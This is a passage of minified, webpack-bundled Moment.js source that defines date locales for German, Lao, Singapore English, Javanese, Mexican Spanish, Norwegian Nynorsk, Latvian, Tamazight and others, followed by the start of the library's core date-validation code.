t?r[n][0]:r[n][1]}e.defineLocale("de-at",{months:"J\xe4nner_Februar_M\xe4rz_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"J\xe4n._Feb._M\xe4rz_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},sp3z:function(e,t,n){!function(e){"use strict";e.defineLocale("lo",{months:"\u0ea1\u0eb1\u0e87\u0e81\u0ead\u0e99_\u0e81\u0eb8\u0ea1\u0e9e\u0eb2_\u0ea1\u0eb5\u0e99\u0eb2_\u0ec0\u0ea1\u0eaa\u0eb2_\u0e9e\u0eb6\u0e94\u0eaa\u0eb0\u0e9e\u0eb2_\u0ea1\u0eb4\u0e96\u0eb8\u0e99\u0eb2_\u0e81\u0ecd\u0ea5\u0eb0\u0e81\u0ebb\u0e94_\u0eaa\u0eb4\u0e87\u0eab\u0eb2_\u0e81\u0eb1\u0e99\u0e8d\u0eb2_\u0e95\u0eb8\u0ea5\u0eb2_\u0e9e\u0eb0\u0e88\u0eb4\u0e81_\u0e97\u0eb1\u0e99\u0ea7\u0eb2".split("_"),monthsShort:"\u0ea1\u0eb1\u0e87\u0e81\u0ead\u0e99_\u0e81\u0eb8\u0ea1\u0e9e\u0eb2_\u0ea1\u0eb5\u0e99\u0eb2_\u0ec0\u0ea1\u0eaa\u0eb2_\u0e9e\u0eb6\u0e94\u0eaa\u0eb0\u0e9e\u0eb2_\u0ea1\u0eb4\u0e96\u0eb8\u0e99\u0eb2_\u0e81\u0ecd\u0ea5\u0eb0\u0e81\u0ebb\u0e94_\u0eaa\u0eb4\u0e87\u0eab\u0eb2_\u0e81\u0eb1\u0e99\u0e8d\u0eb2_\u0e95\u0eb8\u0ea5\u0eb2_\u0e9e\u0eb0\u0e88\u0eb4\u0e81_\u0e97\u0eb1\u0e99\u0ea7\u0eb2".split("_"),weekdays:"\u0ead\u0eb2\u0e97\u0eb4\u0e94_\u0e88\u0eb1\u0e99_\u0ead\u0eb1\u0e87\u0e84\u0eb2\u0e99_\u0e9e\u0eb8\u0e94_\u0e9e\u0eb0\u0eab\u0eb1\u0e94_\u0eaa\u0eb8\u0e81_\u0ec0\u0eaa\u0ebb\u0eb2".split("_"),weekdaysShort:"\u0e97\u0eb4\u0e94_\u0e88\u0eb1\u0e99_\u0ead\u0eb1\u0e87\u0e84\u0eb2\u0e99_\u0e9e\u0eb8\u0e94_\u0e9e\u0eb0\u0eab\u0eb1\u0e94_\u0eaa\u0eb8\u0e81_\u0ec0\u0eaa\u0ebb\u0eb2".split("_"),weekdaysMin:"\u0e97_\u0e88_\u0ead\u0e84_\u0e9e_\u0e9e\u0eab_\u0eaa\u0e81_\u0eaa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"\u0ea7\u0eb1\u0e99dddd D MMMM YYYY HH:mm"},meridiemParse:/\u0e95\u0ead\u0e99\u0ec0\u0e8a\u0ebb\u0ec9\u0eb2|\u0e95\u0ead\u0e99\u0ec1\u0ea5\u0e87/,isPM:function(e){return"\u0e95\u0ead\u0e99\u0ec1\u0ea5\u0e87"===e},meridiem:function(e,t,n){return e<12?"\u0e95\u0ead\u0e99\u0ec0\u0e8a\u0ebb\u0ec9\u0eb2":"\u0e95\u0ead\u0e99\u0ec1\u0ea5\u0e87"},calendar:{sameDay:"[\u0ea1\u0eb7\u0ec9\u0e99\u0eb5\u0ec9\u0ec0\u0ea7\u0ea5\u0eb2] LT",nextDay:"[\u0ea1\u0eb7\u0ec9\u0ead\u0eb7\u0ec8\u0e99\u0ec0\u0ea7\u0ea5\u0eb2] LT",nextWeek:"[\u0ea7\u0eb1\u0e99]dddd[\u0edc\u0ec9\u0eb2\u0ec0\u0ea7\u0ea5\u0eb2] LT",lastDay:"[\u0ea1\u0eb7\u0ec9\u0ea7\u0eb2\u0e99\u0e99\u0eb5\u0ec9\u0ec0\u0ea7\u0ea5\u0eb2] LT",lastWeek:"[\u0ea7\u0eb1\u0e99]dddd[\u0ec1\u0ea5\u0ec9\u0ea7\u0e99\u0eb5\u0ec9\u0ec0\u0ea7\u0ea5\u0eb2] LT",sameElse:"L"},relativeTime:{future:"\u0ead\u0eb5\u0e81 %s",past:"%s\u0e9c\u0ec8\u0eb2\u0e99\u0ea1\u0eb2",s:"\u0e9a\u0ecd\u0ec8\u0ec0\u0e97\u0ebb\u0ec8\u0eb2\u0ec3\u0e94\u0ea7\u0eb4\u0e99\u0eb2\u0e97\u0eb5",ss:"%d \u0ea7\u0eb4\u0e99\u0eb2\u0e97\u0eb5",m:"1 \u0e99\u0eb2\u0e97\u0eb5",mm:"%d \u0e99\u0eb2\u0e97\u0eb5",h:"1 \u0e8a\u0ebb\u0ec8\u0ea7\u0ec2\u0ea1\u0e87",hh:"%d \u0e8a\u0ebb\u0ec8\u0ea7\u0ec2\u0ea1\u0e87",d:"1 \u0ea1\u0eb7\u0ec9",dd:"%d \u0ea1\u0eb7\u0ec9",M:"1 \u0ec0\u0e94\u0eb7\u0ead\u0e99",MM:"%d \u0ec0\u0e94\u0eb7\u0ead\u0e99",y:"1 \u0e9b\u0eb5",yy:"%d \u0e9b\u0eb5"},dayOfMonthOrdinalParse:/(\u0e97\u0eb5\u0ec8)\d{1,2}/,ordinal:function(e){return"\u0e97\u0eb5\u0ec8"+e}})}(n("wd/R"))},"t+mt":function(e,t,n){!function(e){"use strict";e.defineLocale("en-sg",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n("wd/R"))},tGlX:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?r[n][0]:r[n][1]}e.defineLocale("de",{months:"Januar_Februar_M\xe4rz_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._M\xe4rz_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},tT3J:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm-latn",{months:"innayr_br\u02e4ayr\u02e4_mar\u02e4s\u02e4_ibrir_mayyw_ywnyw_ywlywz_\u0263w\u0161t_\u0161wtanbir_kt\u02e4wbr\u02e4_nwwanbir_dwjnbir".split("_"),monthsShort:"innayr_br\u02e4ayr\u02e4_mar\u02e4s\u02e4_ibrir_mayyw_ywnyw_ywlywz_\u0263w\u0161t_\u0161wtanbir_kt\u02e4wbr\u02e4_nwwanbir_dwjnbir".split("_"),weekdays:"asamas_aynas_asinas_akras_akwas_asimwas_asi\u1e0dyas".split("_"),weekdaysShort:"asamas_aynas_asinas_akras_akwas_asimwas_asi\u1e0dyas".split("_"),weekdaysMin:"asamas_aynas_asinas_akras_akwas_asimwas_asi\u1e0dyas".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[asdkh g] LT",nextDay:"[aska g] LT",nextWeek:"dddd [g] LT",lastDay:"[assant g] LT",lastWeek:"dddd [g] LT",sameElse:"L"},relativeTime:{future:"dadkh s yan %s",past:"yan %s",s:"imik",ss:"%d imik",m:"minu\u1e0d",mm:"%d minu\u1e0d",h:"sa\u025ba",hh:"%d tassa\u025bin",d:"ass",dd:"%d ossan",M:"ayowr",MM:"%d iyyirn",y:"asgas",yy:"%d isgasn"},week:{dow:6,doy:12}})}(n("wd/R"))},tUCv:function(e,t,n){!function(e){"use strict";e.defineLocale("jv",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"),weekdays:"Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"),weekdaysShort:"Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/enjing|siyang|sonten|ndalu/,meridiemHour:function(e,t){return 12===e&&(e=0),"enjing"===t?e:"siyang"===t?e>=11?e:e+12:"sonten"===t||"ndalu"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"enjing":e<15?"siyang":e<19?"sonten":"ndalu"},calendar:{sameDay:"[Dinten puniko pukul] LT",nextDay:"[Mbenjang pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kala wingi pukul] LT",lastWeek:"dddd [kepengker pukul] LT",sameElse:"L"},relativeTime:{future:"wonten ing %s",past:"%s ingkang kepengker",s:"sawetawis detik",ss:"%d detik",m:"setunggal menit",mm:"%d menit",h:"setunggal jam",hh:"%d jam",d:"sedinten",dd:"%d dinten",M:"sewulan",MM:"%d wulan",y:"setaun",yy:"%d taun"},week:{dow:1,doy:7}})}(n("wd/R"))},tbfe:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-mx",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_mi\xe9rcoles_jueves_viernes_s\xe1bado".split("_"),weekdaysShort:"dom._lun._mar._mi\xe9._jue._vie._s\xe1b.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_s\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[ma\xf1ana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un d\xeda",dd:"%d d\xedas",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un a\xf1o",yy:"%d a\xf1os"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:0,doy:4},invalidDate:"Fecha inv\xe1lida"})}(n("wd/R"))},u3GI:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?r[n][0]:r[n][1]}e.defineLocale("de-ch",{months:"Januar_Februar_M\xe4rz_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._M\xe4rz_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},uEye:function(e,t,n){!function(e){"use strict";e.defineLocale("nn",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"sundag_m\xe5ndag_tysdag_onsdag_torsdag_fredag_laurdag".split("_"),weekdaysShort:"su._m\xe5._ty._on._to._fr._lau.".split("_"),weekdaysMin:"su_m\xe5_ty_on_to_fr_la".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[I dag klokka] LT",nextDay:"[I morgon klokka] LT",nextWeek:"dddd [klokka] LT",lastDay:"[I g\xe5r klokka] LT",lastWeek:"[F\xf8reg\xe5ande] dddd [klokka] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s sidan",s:"nokre sekund",ss:"%d sekund",m:"eit minutt",mm:"%d minutt",h:"ein time",hh:"%d timar",d:"ein dag",dd:"%d dagar",w:"ei veke",ww:"%d veker",M:"ein m\xe5nad",MM:"%d m\xe5nader",y:"eit \xe5r",yy:"%d \xe5r"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},uXwI:function(e,t,n){!function(e){"use strict";var t={ss:"sekundes_sekund\u0113m_sekunde_sekundes".split("_"),m:"min\u016btes_min\u016bt\u0113m_min\u016bte_min\u016btes".split("_"),mm:"min\u016btes_min\u016bt\u0113m_min\u016bte_min\u016btes".split("_"),h:"stundas_stund\u0101m_stunda_stundas".split("_"),hh:"stundas_stund\u0101m_stunda_stundas".split("_"),d:"dienas_dien\u0101m_diena_dienas".split("_"),dd:"dienas_dien\u0101m_diena_dienas".split("_"),M:"m\u0113ne\u0161a_m\u0113ne\u0161iem_m\u0113nesis_m\u0113ne\u0161i".split("_"),MM:"m\u0113ne\u0161a_m\u0113ne\u0161iem_m\u0113nesis_m\u0113ne\u0161i".split("_"),y:"gada_gadiem_gads_gadi".split("_"),yy:"gada_gadiem_gads_gadi".split("_")};function n(e,t,n){return n?t%10==1&&t%100!=11?e[2]:e[3]:t%10==1&&t%100!=11?e[0]:e[1]}function a(e,a,r){return e+" "+n(t[r],e,a)}function r(e,a,r){return n(t[r],e,a)}e.defineLocale("lv",{months:"janv\u0101ris_febru\u0101ris_marts_apr\u012blis_maijs_j\u016bnijs_j\u016blijs_augusts_septembris_oktobris_novembris_decembris".split("_"),monthsShort:"jan_feb_mar_apr_mai_j\u016bn_j\u016bl_aug_sep_okt_nov_dec".split("_"),weekdays:"sv\u0113tdiena_pirmdiena_otrdiena_tre\u0161diena_ceturtdiena_piektdiena_sestdiena".split("_"),weekdaysShort:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysMin:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY.",LL:"YYYY. [gada] D. MMMM",LLL:"YYYY. [gada] D. MMMM, HH:mm",LLLL:"YYYY. [gada] D. MMMM, dddd, HH:mm"},calendar:{sameDay:"[\u0160odien pulksten] LT",nextDay:"[R\u012bt pulksten] LT",nextWeek:"dddd [pulksten] LT",lastDay:"[Vakar pulksten] LT",lastWeek:"[Pag\u0101ju\u0161\u0101] dddd [pulksten] LT",sameElse:"L"},relativeTime:{future:"p\u0113c %s",past:"pirms %s",s:function(e,t){return t?"da\u017eas sekundes":"da\u017e\u0101m sekund\u0113m"},ss:a,m:r,mm:a,h:r,hh:a,d:r,dd:a,M:r,MM:a,y:r,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},wQk9:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm",{months:"\u2d49\u2d4f\u2d4f\u2d30\u2d62\u2d54_\u2d31\u2d55\u2d30\u2d62\u2d55_\u2d4e\u2d30\u2d55\u2d5a_\u2d49\u2d31\u2d54\u2d49\u2d54_\u2d4e\u2d30\u2d62\u2d62\u2d53_\u2d62\u2d53\u2d4f\u2d62\u2d53_\u2d62\u2d53\u2d4d\u2d62\u2d53\u2d63_\u2d56\u2d53\u2d5b\u2d5c_\u2d5b\u2d53\u2d5c\u2d30\u2d4f\u2d31\u2d49\u2d54_\u2d3d\u2d5f\u2d53\u2d31\u2d55_\u2d4f\u2d53\u2d61\u2d30\u2d4f\u2d31\u2d49\u2d54_\u2d37\u2d53\u2d4a\u2d4f\u2d31\u2d49\u2d54".split("_"),monthsShort:"\u2d49\u2d4f\u2d4f\u2d30\u2d62\u2d54_\u2d31\u2d55\u2d30\u2d62\u2d55_\u2d4e\u2d30\u2d55\u2d5a_\u2d49\u2d31\u2d54\u2d49\u2d54_\u2d4e\u2d30\u2d62\u2d62\u2d53_\u2d62\u2d53\u2d4f\u2d62\u2d53_\u2d62\u2d53\u2d4d\u2d62\u2d53\u2d63_\u2d56\u2d53\u2d5b\u2d5c_\u2d5b\u2d53\u2d5c\u2d30\u2d4f\u2d31\u2d49\u2d54_\u2d3d\u2d5f\u2d53\u2d31\u2d55_\u2d4f\u2d53\u2d61\u2d30\u2d4f\u2d31\u2d49\u2d54_\u2d37\u2d53\u2d4a\u2d4f\u2d31\u2d49\u2d54".split("_"),weekdays:"\u2d30\u2d59\u2d30\u2d4e\u2d30\u2d59_\u2d30\u2d62\u2d4f\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d4f\u2d30\u2d59_\u2d30\u2d3d\u2d54\u2d30\u2d59_\u2d30\u2d3d\u2d61\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d4e\u2d61\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d39\u2d62\u2d30\u2d59".split("_"),weekdaysShort:"\u2d30\u2d59\u2d30\u2d4e\u2d30\u2d59_\u2d30\u2d62\u2d4f\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d4f\u2d30\u2d59_\u2d30\u2d3d\u2d54\u2d30\u2d59_\u2d30\u2d3d\u2d61\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d4e\u2d61\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d39\u2d62\u2d30\u2d59".split("_"),weekdaysMin:"\u2d30\u2d59\u2d30\u2d4e\u2d30\u2d59_\u2d30\u2d62\u2d4f\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d4f\u2d30\u2d59_\u2d30\u2d3d\u2d54\u2d30\u2d59_\u2d30\u2d3d\u2d61\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d4e\u2d61\u2d30\u2d59_\u2d30\u2d59\u2d49\u2d39\u2d62\u2d30\u2d59".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[\u2d30\u2d59\u2d37\u2d45 \u2d34] LT",nextDay:"[\u2d30\u2d59\u2d3d\u2d30 \u2d34] LT",nextWeek:"dddd [\u2d34] LT",lastDay:"[\u2d30\u2d5a\u2d30\u2d4f\u2d5c \u2d34] LT",lastWeek:"dddd [\u2d34] LT",sameElse:"L"},relativeTime:{future:"\u2d37\u2d30\u2d37\u2d45 \u2d59 \u2d62\u2d30\u2d4f %s",past:"\u2d62\u2d30\u2d4f %s",s:"\u2d49\u2d4e\u2d49\u2d3d",ss:"%d \u2d49\u2d4e\u2d49\u2d3d",m:"\u2d4e\u2d49\u2d4f\u2d53\u2d3a",mm:"%d \u2d4e\u2d49\u2d4f\u2d53\u2d3a",h:"\u2d59\u2d30\u2d44\u2d30",hh:"%d \u2d5c\u2d30\u2d59\u2d59\u2d30\u2d44\u2d49\u2d4f",d:"\u2d30\u2d59\u2d59",dd:"%d o\u2d59\u2d59\u2d30\u2d4f",M:"\u2d30\u2d62o\u2d53\u2d54",MM:"%d \u2d49\u2d62\u2d62\u2d49\u2d54\u2d4f",y:"\u2d30\u2d59\u2d33\u2d30\u2d59",yy:"%d \u2d49\u2d59\u2d33\u2d30\u2d59\u2d4f"},week:{dow:6,doy:12}})}(n("wd/R"))},"wd/R":function(e,t,n){(function(e){e.exports=function(){"use strict";var t,a;function r(){return t.apply(null,arguments)}function i(e){return e instanceof Array||"[object Array]"===Object.prototype.toString.call(e)}function s(e){return null!=e&&"[object Object]"===Object.prototype.toString.call(e)}function o(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function l(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;var t;for(t in e)if(o(e,t))return!1;return!0}function d(e){return void 0===e}function u(e){return"number"==typeof e||"[object Number]"===Object.prototype.toString.call(e)}function c(e){return e instanceof Date||"[object Date]"===Object.prototype.toString.call(e)}function h(e,t){var n,a=[];for(n=0;n<e.length;++n)a.push(t(e[n],n));return a}function m(e,t){for(var n in t)o(t,n)&&(e[n]=t[n]);return o(t,"toString")&&(e.toString=t.toString),o(t,"valueOf")&&(e.valueOf=t.valueOf),e}function _(e,t,n,a){return wt(e,t,n,a,!0).utc()}function f(e){return null==e._pf&&(e._pf={empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidEra:null,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1,parsedDateParts:[],era:null,meridiem:null,rfc2822:!1,weekdayMismatch:!1}),e._pf}function p(e){if(null==e._isValid){var t=f(e),n=a.call(t.parsedDateParts,(function(e){return null!=e})),r=!isNaN(e._d.getTime())&&t.overflow<0&&!t.empty&&!t.invalidEra&&!t.invalidMonth&&!t.invalidWeekday&&!t.weekdayMismatch&&!t.nullInput&&!t.invalidFormat&&!t.userInvalidated&&(!t.meridiem||t.meridiem&&n);if(e._strict&&(r=r&&0===t.charsLeftOver&&0===t.unusedTokens.length&&void 0===t.bigHour),null!=Object.isFrozen&&Object.isFrozen(e))return r;e._isValid=r}return e._isValid}function g(e){var t=_(NaN);return null!=e?m(f(t),e):f(t).userInvalidated=!0,t}a=Array.prototype.some?Array.prototype.some:function(e){var t,n=Object(this),a=n.length>>>0;for(t=0;t<a;t++)if(t in n&&e.call(this,n[t],t,n))return!0;return!1};var b=r.momentProperties=[],y=!1;function M(e,t){var n,a,r;if(d(t._isAMomentObject)||(e._isAMomentObject=t._isAMomentObject),d(t._i)||(e._i=t._i),d(t._f)||(e._f=t._f),d(t._l)||(e._l=t._l),d(t._strict)||(e._strict=t._strict),d(t._tzm)||(e._tzm=t._tzm),d(t._isUTC)||(e._isUTC=t._isUTC),d(t._offset)||(e._offset=t._offset),d(t._pf)||(e._pf=f(t)),d(t._locale)||(e._locale=t._locale),b.length>0)for(n=0;n<b.length;n++)d(r=t[a=b[n]])||(e[a]=r);return e}function v(e){M(this,e),this._d=new Date(null!=e._d?e._d.getTime():NaN),this.isValid()||(this._d=new Date(NaN)),!1===y&&(y=!0,r.updateOffset(this),y=!1)}function L(e){return e instanceof v||null!=e&&null!=e._isAMomentObject}function k(e){!1===r.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+e)}function w(e,t){var n=!0;return m((function(){if(null!=r.deprecationHandler&&r.deprecationHandler(null,e),n){var a,i,s,l=[];for(i=0;i<arguments.length;i++){if(a="","object"==typeof arguments[i]){for(s in a+="\n["+i+"] ",arguments[0])o(arguments[0],s)&&(a+=s+": "+arguments[0][s]+", ");a=a.slice(0,-2)}else a=arguments[i];l.push(a)}k(e+"\nArguments: "+Array.prototype.slice.call(l).join("")+"\n"+(new Error).stack),n=!1}return t.apply(this,arguments)}),t)}var x,D={};function Y(e,t){null!=r.deprecationHandler&&r.deprecationHandler(e,t),D[e]||(k(t),D[e]=!0)}function T(e){return"undefined"!=typeof Function&&e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}function S(e,t){var n,a=m({},e);for(n in 